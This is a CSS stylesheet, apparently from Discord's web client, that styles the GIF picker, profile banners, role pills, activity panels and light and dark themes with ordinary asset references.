.description-2l7dVR { color: inherit; margin-right: 4px; }

.clickable-3PvE7P { cursor: pointer; }

.container-3Fb-hU { position: relative; height: 100%; margin-right: 12px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; overflow: hidden; -webkit-box-align: start; align-items: flex-start; }

.column-33vdru { padding-top: 12px; height: auto; transform-origin: 0px 0px; opacity: 0.1; }

.gif-J69mz8 { background-color: var(--text-link); }

.categoryLoader-1UbzZM, .gif-J69mz8 { margin-left: 12px; margin-bottom: 12px; border-radius: 5px; }

.categoryLoader-1UbzZM { height: 110px; background-color: rgb(0, 0, 0); }

.wrapper-1GJGVj { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; text-align: center; height: 100%; font-size: 14px; font-weight: 500; }

.sadImage-2ph8SI { width: 90px; height: 90px; background-size: 90px; background-repeat: no-repeat; margin-bottom: 20px; }

.theme-dark .wrapper-1GJGVj { color: rgb(114, 118, 125); }

.theme-dark .sadImage-2ph8SI { background-image: url("https://discord.com/assets/28e8c52ad284779a9272dad02a70fa4e.svg"); }

.theme-dark .forceLightTheme-1nVhlT .wrapper-1GJGVj, .theme-light .wrapper-1GJGVj { color: rgb(153, 170, 181); }

.theme-dark .forceLightTheme-1nVhlT .sadImage-2ph8SI, .theme-light .sadImage-2ph8SI { background-image: url("https://discord.com/assets/82b585afafcfb12c4d013635a4543bb5.svg"); }

@-webkit-keyframes ripple-N7-maz { 
  0% { transform: scale(0.4); opacity: 1; }
  90% { transform: scale(1.4); opacity: 0; }
  100% { transform: scale(1.6); opacity: 0; }
}

@keyframes ripple-N7-maz { 
  0% { transform: scale(0.4); opacity: 1; }
  90% { transform: scale(1.4); opacity: 0; }
  100% { transform: scale(1.6); opacity: 0; }
}

@-webkit-keyframes bounce-3G6o78 { 
  25% { transform: scale(0.6); }
  50% { transform: scale(1.2); }
  100% { transform: scale(1); }
}

@keyframes bounce-3G6o78 { 
  25% { transform: scale(0.6); }
  50% { transform: scale(1.2); }
  100% { transform: scale(1); }
}

.size-3rN-gI { width: 29px; height: 29px; }

.gifFavoriteButton-3Zycl7 { color: rgb(255, 255, 255); }

.gifFavoriteButton-3Zycl7::after { transition: all 0.15s ease-in-out 0s; content: ""; position: absolute; top: 0px; left: 0px; box-sizing: border-box; transform-origin: center center; opacity: 0; z-index: 5; width: 100%; height: 100%; border: 2px solid hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); border-radius: 50%; pointer-events: none; }

.gifFavoriteButton-3Zycl7:hover { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); transform: none; }

.gifFavoriteButton-3Zycl7.selected-1mBDsA { color: var(--text-warning); }

.gifFavoriteButton-3Zycl7.selected-1mBDsA.showPulse-1P_rPG::after { animation: 0.45s ease 0s 1 normal none running ripple-N7-maz; }

.gifFavoriteButton-3Zycl7.selected-1mBDsA.showPulse-1P_rPG .icon-38TLpf { animation: 0.4s linear 0s 1 normal none running bounce-3G6o78; }

.icon-38TLpf { display: block; width: 100%; height: 100%; }

.results-3i9FaE { height: 100%; }

.result-3w1ZcL { position: relative; cursor: pointer; border-radius: 5px; }

.result-3w1ZcL, .result-3w1ZcL::after { transition: box-shadow 0.15s ease-out 0s, -webkit-box-shadow 0.15s ease-out 0s; }

.result-3w1ZcL::after { content: ""; display: block; position: absolute; inset: -1px; border-radius: 7px; z-index: 10; pointer-events: none; }

.result-3w1ZcL:hover { z-index: 2; }

.result-3w1ZcL:hover .favButton-_fxLew { opacity: 1; transform: none; }

.result-3w1ZcL.focused-1En8bG, .result-3w1ZcL.focused-1En8bG::after { transition: none 0s ease 0s; }

.gif-1TcNIB { position: relative; display: block; width: 100%; object-fit: cover; background-color: transparent; border-radius: 5px; }

.endContainer-1ZDW8j { padding-top: 32px; padding-bottom: 32px; text-align: center; }

.endContainer-1ZDW8j::after { content: ""; height: 220px; width: 100%; display: block; margin: 0px auto; background-size: contain; background-position: center bottom; background-repeat: no-repeat; }

.endText-3SrwuD { font-size: 16px; font-weight: 500; margin-bottom: 8px; }

.searchSuggestions-1ztAmy { display: flex; -webkit-box-pack: center; justify-content: center; flex-wrap: wrap; margin-bottom: 32px; }

.searchSuggestion-2K8OBX { border-radius: 3px; margin-right: 4px; margin-top: 4px; }

.noResults-PCM0-U { height: 100%; }

.spinnerContainer-1jOqer { display: flex; height: 100%; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.favButton-_fxLew { position: absolute; top: 4px; right: 4px; z-index: 4; opacity: 0; box-sizing: border-box; transform: translateY(-10px); transition: transform 0.2s ease 0s, opacity 0.1s ease 0s, -webkit-transform 0.2s ease 0s; width: 26px; height: 26px; }

.emptyHints-1EYR-5 { display: flex; margin: 6px 0px 6px 6px; -webkit-box-align: center; align-items: center; flex-wrap: wrap; justify-content: space-around; }

.emptyHint-2ZHXNQ { -webkit-box-flex: 1; flex: 1 1 33.33%; }

.emptyHintCard-2mUdMe { box-sizing: border-box; padding: 20px; position: relative; height: 160px; border-radius: 5px; margin: 6px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.emptyHintSpacer-XKHTzr { height: 160px; }

.emptyHintText-1QDF9N { font-size: 15px; max-width: 180px; line-height: 1.6; text-align: center; }

.emptyHintFavorite-3Bf6b2 { position: absolute; top: 6px; right: 6px; width: 29px; height: 29px; }

@-webkit-keyframes loadIN-3GZ05S { 
  0% { transform: translate3d(0px, 24px, 0px); opacity: 0; }
  100% { transform: translateZ(0px); opacity: 1; }
}

@keyframes loadIN-3GZ05S { 
  0% { transform: translate3d(0px, 24px, 0px); opacity: 0; }
  100% { transform: translateZ(0px); opacity: 1; }
}

.placeholder-1kJjXI { border-radius: 5px; opacity: 0; width: 100%; height: 100%; animation: 0.6s cubic-bezier(0.17, 0.67, 0.16, 0.99) 0s 1 normal forwards running loadIN-3GZ05S; will-change: opacity; transform: translate3d(0px, 48px, 0px); }

.theme-dark .focused-1En8bG, .theme-dark .result-3w1ZcL:hover { box-shadow: rgba(4, 4, 5, 0.3) 0px 11px 22px 1px; }

.theme-dark .focused-1En8bG::after, .theme-dark .result-3w1ZcL:hover::after { box-shadow: inset 0 0 0 2px var(--brand-experiment),inset 0 0 0 3px #2f3136; }

.theme-dark .placeholder-1kJjXI { background: rgba(79, 84, 92, 0.6); }

.theme-dark .endContainer-1ZDW8j::after { background-image: url("https://discord.com/assets/be5f088125f778701a7e4fad471a45da.svg"); }

.theme-dark .endText-3SrwuD { color: rgb(185, 187, 190); }

.theme-dark .searchSuggestion-2K8OBX.searchSuggestion-2K8OBX:hover { color: rgb(255, 255, 255); background-color: var(--brand-experiment-500); border-color: var(--brand-experiment-500); }

.theme-dark .emptyHintCard-2mUdMe { background-color: rgb(54, 57, 63); color: rgb(185, 187, 190); }

.theme-dark .emptyHintFavorite-3Bf6b2 { color: var(--text-warning); }

.theme-light .focused-1En8bG, .theme-light .result-3w1ZcL:hover { box-shadow: rgba(4, 4, 5, 0.2) 0px 4px 12px 0px; }

.theme-light .focused-1En8bG::after, .theme-light .result-3w1ZcL:hover::after { box-shadow: inset 0 0 0 2px var(--brand-experiment),inset 0 0 0 3px #dcddde; }

.theme-light .placeholder-1kJjXI { background: rgba(220, 221, 222, 0.6); }

.theme-light .endText-3SrwuD { color: rgb(114, 118, 125); }

.theme-light .endContainer-1ZDW8j::after { background-image: url("https://discord.com/assets/82d8c5ce20dacf4bedb99089446ff365.svg"); }

.theme-light .searchSuggestion-2K8OBX.searchSuggestion-2K8OBX:hover { color: rgb(255, 255, 255); background-color: var(--brand-experiment-500); border-color: var(--brand-experiment-500); }

.theme-light .emptyHintCard-2mUdMe { background-color: rgb(220, 221, 222); color: rgb(79, 84, 92); }

.theme-light .emptyHintFavorite-3Bf6b2 { color: var(--text-warning); }

.container-2jxBbw { height: 100%; }

.categoryFade-2ybR1J, .categoryFadeBlurple-1j72_A { position: absolute; inset: 0px; z-index: 1; border-radius: 4px; transition: background-color 0.15s ease-out 0s; }

.categoryText-2-8pri { position: absolute; inset: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; z-index: 3; font-weight: 600; pointer-events: none; }

.categoryIcon-21RREB { margin-right: 4px; width: 20px; height: 20px; }

.categoryName-UvMsNp { font-size: 16px; line-height: 16px; font-weight: 600; }

.spinnerContainer-2MJ3GP { height: 100%; }

.formatSelectors-3aBz_F, .spinnerContainer-2MJ3GP { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.formatSelectors-3aBz_F { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.formatSelectors-3aBz_F select { display: block; margin: 0px 4px; }

.theme-dark .categoryFade-2ybR1J, .theme-light .categoryFade-2ybR1J { background-color: rgba(0, 0, 0, 0.4); }

.theme-dark .categoryFade-2ybR1J:hover, .theme-light .categoryFade-2ybR1J:hover { background-color: rgba(0, 0, 0, 0.7); }

.theme-dark .categoryFadeBlurple-1j72_A, .theme-light .categoryFadeBlurple-1j72_A { background-color: var(--brand-experiment-80a); }

.theme-dark .categoryFadeBlurple-1j72_A:hover, .theme-light .categoryFadeBlurple-1j72_A:hover { background-color: var(--brand-experiment-95a); }

.theme-dark .categoryText-2-8pri, .theme-light .categoryText-2-8pri { color: rgb(255, 255, 255); text-shadow: rgba(0, 0, 0, 0.6) 0px 1px 1px; }

.container-3ISnnM { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; width: 100%; overflow: hidden; white-space: normal; }

.container-3ISnnM::after { background-image: linear-gradient(transparent, rgba(0, 0, 0, 0.1)); content: ""; height: 8px; position: absolute; bottom: 0px; left: 0px; right: 0px; pointer-events: none; }

.content-ySCtCx { position: relative; z-index: 0; }

.searchBar--fTZYa { width: 100%; -webkit-box-flex: 1; flex: 1 1 auto; }

.header-1TOWci { -webkit-box-flex: 0; flex: 0 0 auto; position: relative; z-index: 1; padding: 0px 16px 12px; }

.searchHeader-2r8VVk { margin-bottom: 0px; margin-left: 8px; }

.backButton-JyKGC1 { display: flex; -webkit-box-align: center; align-items: center; height: 28px; cursor: pointer; margin-right: 8px; }

.content-ySCtCx { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; }

.theme-dark .header-1TOWci { box-shadow: rgba(24, 25, 28, 0.3) 0px 1px 0px 0px, rgba(24, 25, 28, 0.3) 0px 1px 2px 0px; }

.theme-dark .backButton-JyKGC1 { color: rgb(185, 187, 190); }

.theme-dark .backButton-JyKGC1:hover { color: rgb(220, 221, 222); }

.theme-light .container-3ISnnM { background-color: rgb(246, 246, 247); }

.theme-light .header-1TOWci { box-shadow: rgba(185, 187, 190, 0.3) 0px 1px 0px 0px; }

.theme-light .backButton-JyKGC1 { color: rgb(114, 118, 125); }

.theme-light .backButton-JyKGC1:hover { color: rgb(79, 84, 92); }

.theme-light .content-ySCtCx::after { content: ""; position: absolute; left: 0px; right: 0px; bottom: 0px; height: 1px; background: rgba(185, 187, 190, 0.3); z-index: 100; }

.gifPicker-2tIUs0 { padding-top: 16px; max-height: 560px; height: 100%; width: 440px; box-sizing: border-box; }

.modalHeader-3STjwX { padding-bottom: 0px; }

.titleCase-1-XTQL { text-transform: none; }

.loadingOverlay-2bG2s6 { transition: all 0.2s ease 0s; opacity: 0.6; user-select: none; pointer-events: none; }

.spinner-_OuD_I { position: absolute; top: 50%; right: 0px; left: 0px; margin: 0px auto; }

.modalCloseButton-1I4hBU { padding: 0px; }

.modalHeader-2AkhLF { padding: 16px 16px 16px 20px; }

.modalTitle-3qv27Q { margin-bottom: 0px; }

.modalContent-3FEGI5 { padding: 0px 16px 16px; display: flex; -webkit-box-pack: center; justify-content: center; }

.optionBox-1b4n4P { position: relative; box-sizing: border-box; background-color: var(--background-secondary-alt); border-radius: 4px; transition: border 0.2s ease-in-out 0s; cursor: pointer; padding: 16px; width: 192px; }

.optionBox-1b4n4P:first-child { margin-right: 16px; }

.optionBox-1b4n4P:hover { border-color: var(--brand-experiment); }

.optionBox-1b4n4P:hover .optionBoxText-1p0iCZ { color: var(--interactive-active); }

.contentCircle-2uR76y { position: relative; box-sizing: border-box; height: 128px; width: 128px; background-color: var(--brand-experiment); border-radius: 128px; margin: 0px auto; overflow: hidden; }

.contentCircle-2uR76y, .optionBoxText-1p0iCZ { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.optionBoxText-1p0iCZ { margin-top: 16px; transition: color 0.2s ease-in-out 0s; line-height: 20px; }

.nitroWheel-3qURGP { margin-right: 6px; width: 20px; height: 20px; }

.uploadIcon-1byPa5 { height: 24px; width: 24px; color: rgb(255, 255, 255); padding-top: 2px; padding-left: 5px; }

.gifGrid-BMlNqY { display: grid; grid-template-rows: 64px 64px; grid-template-columns: 64px 64px; }

.gif-1r_dIR { background-size: cover; }

.gifIconContainer-3OM7ph { position: absolute; background-color: rgb(54, 57, 63); opacity: 0.88; height: 54px; width: 54px; border-radius: 54px; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.gifIcon-15nHVd { background-color: rgb(255, 255, 255); opacity: 1; }

.nitroWheelFlair-39w3E1 { width: 16px; height: 16px; }

.nitroWheelFlairContainer-2Lv_Hx { margin-right: 4px; display: flex; }

.premiumGuildTooltipContainer-2Djsfo { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.pillWrapper-1MMyqK { border-radius: 100px; padding: 4px; margin-bottom: 4px; }

.theme-dark .pillWrapper-1MMyqK { background-color: var(--background-tertiary); }

.theme-light .pillWrapper-1MMyqK { background-color: var(--background-primary); }

.ctaButtonInner-ZglGHm { display: flex; }

.ctaButtonButton-1DnkTM, .ctaButtonInner-ZglGHm { -webkit-box-align: center; align-items: center; width: 100%; }

.ctaButtonButton-1DnkTM { padding: 10px 0px; cursor: pointer; border-radius: 4px; text-align: center; }

.icon-2fEpet { margin: 0px 8px 0px auto; }

.iconFlip-12MarS { transform: rotate(180deg); }

.ctaText-3Ewqy4 { width: 100%; color: rgb(255, 255, 255); }

.popoutMenu-100uen { background-color: var(--background-nested-floating); width: 268px; }

.banner-2QYc2d { position: relative; transition: background-color 0.1s ease 0s; }

.bannerPremium-2hSAwz { background-repeat: no-repeat; background-position: 50% center; background-size: cover; }

.popoutBanner-19WKGg { width: 300px; height: 60px; }

.popoutBannerPremium-1n96gg { width: 300px; height: 120px; }

.profileBanner-33-uE1 { width: 600px; height: 120px; }

.profileBannerPremium-35utuo { width: 600px; height: 240px; }

.settingsBanner-15-pZk { width: 100%; height: 100px; }

.pencilContainer-2TbNwJ { cursor: pointer; position: absolute; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding: 5px; border-radius: 50%; background-color: rgba(24, 25, 28, 0.3); top: 10px; right: 12px; }

.pencilIcon-XSi-VE { color: rgb(255, 255, 255); }

.popoutBanner-19WKGg .pencilContainer-2TbNwJ, .popoutBannerPremium-1n96gg .pencilContainer-2TbNwJ { top: 10px; right: 12px; }

.profileBanner-33-uE1 .pencilContainer-2TbNwJ, .profileBannerPremium-35utuo .pencilContainer-2TbNwJ { top: 14px; right: 16px; }

.premiumIconWrapper-1A-UH5 { position: absolute; top: 6px; right: 8px; z-index: 2; opacity: 0; transform: translate3d(0px, -5px, 0px); transition: opacity 0.15s ease-out 0s, transform 0.15s ease-out 0s, -webkit-transform 0.15s ease-out 0s; }

.profileBannerPremium-35utuo .premiumIconWrapper-1A-UH5 { top: 14px; right: 16px; }

.premiumIcon-2EjK1H { color: rgb(255, 255, 255); display: block; margin-left: -2px; margin-right: -2px; }

.reducedMotion-3H6P8E .premiumIconWrapper-1A-UH5 { transition: none 0s ease 0s; }

.gifTag-kA7fXf { position: absolute; top: 8px; right: 8px; opacity: 1; z-index: 1; pointer-events: none; }

.profileBannerPremium-35utuo .gifTag-kA7fXf { top: 16px; right: 16px; }

.banner-2QYc2d:hover .premiumIconWrapper-1A-UH5 { opacity: 1; transform: translateZ(0px); }

.banner-2QYc2d:hover .gifTag-kA7fXf { opacity: 0; }

.clickable-j92RzV { cursor: pointer; }

.container-3XJ8ns { width: 250px; overflow: hidden; border-radius: 4px; box-sizing: border-box; padding: 8px; background-color: var(--background-primary); border: 1px solid var(--background-modifier-accent); }

.list-1MFD7e { height: 280px; padding: 8px 0px; }

.roleIcon-1_1CJy { display: inline-block; overflow: hidden; object-fit: contain; }

.roleIcon-1_1CJy::before { content: ""; display: block; width: 100%; height: 100%; background-color: var(--background-modifier-accent); border-radius: 50%; }

.root-3-B5F3 { position: relative; margin-top: 2px; }

.role-2irmRk { font-size: 12px; font-weight: 500; background: var(--background-secondary-alt); border-radius: 4px; box-sizing: border-box; height: 22px; margin: 0px 4px 4px 0px; padding: 4px; }

.roleCircle-3xAZ1j { border-radius: 50%; width: 12px; height: 12px; padding: 0px; margin: 0px 4px; }

.roleRemoveIcon-2-TeGW { display: none; width: 10px; height: 10px; }

.role-2irmRk:hover .roleRemoveIcon-2-TeGW, .roleRemoveIconFocused-2ynLxl .roleRemoveIcon-2-TeGW { display: block; }

.roleName-32vpEy { max-width: 200px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; margin-right: 4px; }

.actionButton-VzECiy { color: var(--interactive-active); font-size: 11px; line-height: 11px; }

.overflowButton-1SCpCf { padding: 4px 8px; }

.addButton-pcyyf6 { padding: 4px 5px; }

.addButtonIcon-1NMJ8u { cursor: pointer; width: 14px; height: 14px; }

.overflowRolesPopout-140n9i { border-radius: 3px; padding: 8px; width: 200px; }

.overflowRolesPopoutArrowWrapper-2Dx30g { margin-left: -8px; overflow: hidden; width: 16px; height: 12px; }

.overflowRolesPopoutArrow-2O66oH { width: 8px; height: 8px; transform: rotate(45deg); }

.popoutBottom-2BJWty .overflowRolesPopoutArrowWrapper-2Dx30g { position: absolute; bottom: 100%; left: 50%; }

.popoutBottom-2BJWty .overflowRolesPopoutArrow-2O66oH { position: absolute; bottom: -4px; left: 4px; }

.popoutTop-1WcJ06 .overflowRolesPopoutArrowWrapper-2Dx30g { position: absolute; top: 100%; left: 50%; }

.popoutTop-1WcJ06 .overflowRolesPopoutArrow-2O66oH { position: absolute; top: -4px; left: 4px; }

.overflowRolesPopoutHeader-ciqDLE { margin-bottom: 8px; }

.popoutRoleDot-1XPcoA { width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; flex-shrink: 0; box-sizing: border-box; }

.overflowRolesPopoutHeaderIcon-6PNEZA { margin-right: 4px; width: 12px; height: 12px; }

.overflowRolesPopoutHeaderText-1SW-y3 { font-size: 12px; font-weight: 700; color: rgb(114, 118, 125); text-transform: uppercase; }

.theme-dark .overflowRolesPopout-140n9i { color: rgba(255, 255, 255, 0.8); }

.theme-dark .overflowRolesPopout-140n9i, .theme-dark .overflowRolesPopoutArrow-2O66oH { background-color: rgb(54, 57, 63); box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 10px 0px, rgba(32, 34, 37, 0.6) 0px 0px 0px 1px; }

.theme-light .overflowRolesPopout-140n9i { color: rgba(79, 84, 92, 0.8); }

.theme-light .overflowRolesPopout-140n9i, .theme-light .overflowRolesPopoutArrow-2O66oH { background-color: rgb(255, 255, 255); box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 10px 0px, rgba(185, 187, 190, 0.3) 0px 0px 0px 1px; }

.roleIcon-228VjM { margin-right: 4px; }

.textarea-2r0oV8 { background-color: transparent; border: none; box-sizing: border-box; color: var(--text-normal); font-size: 12px; line-height: 14px; max-height: 88px; padding: 4px; resize: none; width: 100%; }

.textarea-2r0oV8::-webkit-input-placeholder { color: var(--header-secondary); }

.textarea-2r0oV8::placeholder { color: var(--header-secondary); }

.textarea-2r0oV8:focus { background-color: var(--background-tertiary); }

.height12-2Ltw-k { line-height: 12px; }

.height14-RAZbc0 { line-height: 14px; }

.height16-2Lv3qA { line-height: 16px; }

.height20-mO2eIN { line-height: 20px; }

.height24-3XzeJx { line-height: 24px; }

.height28-3tox65 { line-height: 28px; }

.height30-yt7xZf { line-height: 30px; }

.height36-36OHCc { line-height: 36px; }

.height44-GQFvfT { line-height: 44px; }

.text-AOoUen { font-weight: 500; color: rgba(255, 255, 255, 0.8); }

.textLeft-3EZXG6, .textRight-1XO5Ye { }

.bar-3urHkF { background-color: rgba(79, 84, 92, 0.16); height: 4px; margin-bottom: 4px; }

.bar-3urHkF, .barInner-3NDaY_ { border-radius: 2px; }

.barInner-3NDaY_ { background-color: rgb(255, 255, 255); height: 100%; min-width: 4px; }

.themed-2aMyTM .textLeft-3EZXG6, .themed-2aMyTM .textRight-1XO5Ye { color: var(--text-normal); }

.themed-2aMyTM .barInner-3NDaY_ { background-color: var(--text-normal); }

.theme-light .newPopoutActivityStyles .barInner-3NDaY_, .theme-light .newProfileActivityStyles .barInner-3NDaY_ { background-color: var(--header-primary); }

.theme-light .newPopoutActivityStyles .text-AOoUen, .theme-light .newProfileActivityStyles .text-AOoUen { color: var(--header-primary); }

.ellipsis-1XUmPN { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.headerContainer-1_MTZL { width: 100%; min-width: 0px; -webkit-box-pack: justify; justify-content: space-between; }

.headerText-1HLrL7 { font-weight: 700; text-transform: uppercase; }

.headerText-1HLrL7 + div { margin-left: 8px; }

.headerTextNormal-2mGWX3 { }

.headerTextEmptyBody-1kb9TT { }

.body-ZAhrcj { }

.bodyAlignCenter-1KzvJk, .bodyNormal-2D39hT { }

.assets-VMAukC { position: relative; align-self: flex-start; }

.assetsLargeMaskStreamPreview-2V7xlA, .assetsLargeMaskUserPopout-12EBBc, .assetsLargeMaskVoiceChannel-2k1oGM { -webkit-mask: url("https://discord.com/assets/3a10988d0f55c63294100b270818207a.svg"); mask: url("https://discord.com/assets/3a10988d0f55c63294100b270818207a.svg"); }

.assetsLargeMaskActivityFeed-3eznI9, .assetsLargeMaskProfile-1Qkfen { -webkit-mask: url("https://discord.com/assets/ba356d72b838326dae400f83c813411c.svg"); mask: url("https://discord.com/assets/ba356d72b838326dae400f83c813411c.svg"); }

.assetsProfile-1qp_pu { max-height: 144px; }

.assetsLargeImage-eYwpTX { border-radius: 8px; display: block; object-fit: cover; }

.assetsLargeImageStreamPreview-1A9lfF, .assetsLargeImageUserPopout-3Pp8BK, .assetsLargeImageUserPopoutXbox-2hgKt0 { width: 60px; height: 60px; }

.assetsLargeImageActivityFeed-25vA7H, .assetsLargeImageActivityFeedXbox-3Tr-tf, .assetsLargeImageProfile-3YXDex { width: 90px; height: 90px; }

.assetsLargeImageVoiceChannel-dGmxCi { width: 64px; height: 64px; }

.assetsLargeImageActivityFeedTwitch-35IZuj { width: 100%; height: 260px; -webkit-mask: linear-gradient(0deg, transparent 10%, rgb(0, 0, 0) 80%); border-radius: 8px; }

.assetsLargeImageProfileXbox-1t6G2m { width: 60px; height: 60px; }

.assetsLargeImageProfileTwitch-298r77 { width: 162px; height: 90px; }

.assetsSmallImage-3_3Bzj { border-radius: 50%; position: absolute; bottom: -4px; right: -4px; }

.assetsSmallImageStreamPreview-1Sdyfc, .assetsSmallImageUserPopout-2yc71g, .assetsSmallImageVoiceChannel-19SIVn { width: 20px; height: 20px; }

.assetsSmallImageActivityFeed-2LNxrO, .assetsSmallImageProfile-3JcsV1 { width: 30px; height: 30px; }

.assetsSmallImageActivityFeedWithoutLargeImage-3HmW0P, .assetsSmallImageProfileWithoutLargeImage-3L8adu, .assetsSmallImageStreamPreviewWithoutLargeImage-3pjjFi, .assetsSmallImageUserPopoutWithoutLargeImage-2dDSZN, .assetsSmallImageVoiceChannelWithoutLargeImage-3l4XkH { width: 40px; height: 40px; }

.gameIcon-_0rmMm { -webkit-box-flex: 0; flex: 0 0 auto; }

.screenshareIcon-Bnlgnp { width: 40px; height: 40px; background-image: url("https://discord.com/assets/48e17966070e58a560c33ccbe732058a.svg"); }

.content-3JfFJh { overflow: hidden; }

.contentImagesActivityFeed-2f9veg, .contentImagesProfile-1Mz07W, .contentImagesStreamPreview-19sAie, .contentImagesUserPopout-1vLdRA, .contentImagesVoiceChannel-1LLEDQ { margin-left: 10px; }

.contentNoImagesProfile-371_Rv, .contentNoImagesStreamPreview-3JDPTV, .contentNoImagesUserPopout-PCCPyZ, .contentNoImagesVoiceChannel-2C-iFg { }

.contentNoImagesActivityFeed-FEn3nf, .contentNoImagesProfile-371_Rv { margin-bottom: -4px; }

.contentGameImageStreamPreview-3FGJd1, .contentGameImageUserPopout-2KWIsz, .contentGameImageVoiceChannel-3-m1X_ { margin-bottom: -1px; margin-left: 10px; }

.contentGameImageProfile-WTVbI0 { margin-bottom: -2px; margin-left: 10px; }

.textRow-19NEd_ { display: block; font-size: 14px; line-height: 18px; }

.details-38sfDr, .nameNormal-2lqVQK, .playTime-2uWd1Z, .state-Tt0LO3, .timestamp-VjAZmo { }

.detailsWrap-22pigg, .nameWrap-3Z4G_9 { }

.activityActivityFeed-3xysim .name-29ETJS { display: none; }

.activityActivityFeed-3xysim .details-38sfDr { font-weight: 600; }

.timeBarUserPopout-AWPFf2 { margin-top: 12px; }

.timeBarActivityFeed-24_oBt, .timeBarProfile-10b-fm { margin-top: 10px; }

.timeBarVoiceChannel-1toAIF { margin-top: 4px; }

.activityName-1IaRLn, .nameNormal-2lqVQK, .nameWrap-3Z4G_9 { color: rgb(255, 255, 255); }

.bodyLink-3A8Buv { }

.bodyLink-3A8Buv:hover { text-decoration: underline; }

.twitchImageContainer-hVw_dv { background: rgb(24, 25, 28); position: relative; border-radius: 8px; }

.twitchImageOverlay-CXCd19 { position: absolute; left: 0px; right: 0px; bottom: 0px; padding: 16px; }

.twitchBackgroundImage-3iXCea { min-height: 260px; display: inline-block; }

.streamUsername-eO7oss { font-weight: 600; font-size: 16px; line-height: 1.25; color: rgb(220, 221, 222); }

.streamName-1q4JEo { margin-top: 8px; color: rgb(185, 187, 190); font-weight: 500; font-size: 14px; }

.streamGame-2odMhn { text-transform: uppercase; color: rgb(114, 118, 125); font-size: 12px; font-weight: 600; margin-top: 8px; }

.activityVoiceChannel-OPU-Fm .headerText-1HLrL7 { color: var(--interactive-normal); }

.activityVoiceChannel-OPU-Fm .activityName-1IaRLn, .activityVoiceChannel-OPU-Fm .name-29ETJS, .activityVoiceChannel-OPU-Fm .nameNormal-2lqVQK, .activityVoiceChannel-OPU-Fm .nameWrap-3Z4G_9 { color: var(--header-primary); }

.activityVoiceChannel-OPU-Fm .content-3JfFJh, .activityVoiceChannel-OPU-Fm .details-38sfDr, .activityVoiceChannel-OPU-Fm .playTime-2uWd1Z, .activityVoiceChannel-OPU-Fm .state-Tt0LO3, .activityVoiceChannel-OPU-Fm .timestamp-VjAZmo { color: var(--header-secondary); }

.platformIcon-32kXeN { display: none; }

.icon-3iqfPb { display: block; width: 16px; height: 16px; margin-right: 4px; color: var(--header-secondary); -webkit-box-flex: 0; flex: 0 0 auto; }

.theme-light .activityActivityFeed-3xysim .content-3JfFJh, .theme-light .activityActivityFeed-3xysim .details-38sfDr { color: rgb(79, 84, 92); }

.theme-light .activityStreamPreview-3r3GiX .activityName-1IaRLn, .theme-light .activityStreamPreview-3r3GiX .content-3JfFJh, .theme-light .activityStreamPreview-3r3GiX .details-38sfDr, .theme-light .activityStreamPreview-3r3GiX .name-29ETJS, .theme-light .activityStreamPreview-3r3GiX .nameNormal-2lqVQK { color: rgb(35, 38, 42); }

.theme-dark .activityActivityFeed-3xysim .content-3JfFJh, .theme-dark .activityActivityFeed-3xysim .details-38sfDr { color: rgb(220, 221, 222); }

.theme-dark .activityStreamPreview-3r3GiX .activityName-1IaRLn, .theme-dark .activityStreamPreview-3r3GiX .content-3JfFJh, .theme-dark .activityStreamPreview-3r3GiX .details-38sfDr, .theme-dark .activityStreamPreview-3r3GiX .name-29ETJS, .theme-dark .activityStreamPreview-3r3GiX .nameNormal-2lqVQK { color: rgb(246, 246, 247); }

.theme-dark .activityProfile-2bJRaP .content-3JfFJh, .theme-dark .activityProfile-2bJRaP .details-38sfDr, .theme-dark .activityProfile-2bJRaP .headerText-1HLrL7, .theme-dark .activityProfile-2bJRaP .name-29ETJS, .theme-dark .activityUserPopout-2yItg2 .content-3JfFJh, .theme-dark .activityUserPopout-2yItg2 .details-38sfDr, .theme-dark .activityUserPopout-2yItg2 .headerText-1HLrL7, .theme-dark .activityUserPopout-2yItg2 .name-29ETJS, .theme-light .activityProfile-2bJRaP .content-3JfFJh, .theme-light .activityProfile-2bJRaP .details-38sfDr, .theme-light .activityProfile-2bJRaP .headerText-1HLrL7, .theme-light .activityProfile-2bJRaP .name-29ETJS, .theme-light .activityUserPopout-2yItg2 .content-3JfFJh, .theme-light .activityUserPopout-2yItg2 .details-38sfDr, .theme-light .activityUserPopout-2yItg2 .headerText-1HLrL7, .theme-light .activityUserPopout-2yItg2 .name-29ETJS { color: rgb(255, 255, 255); }

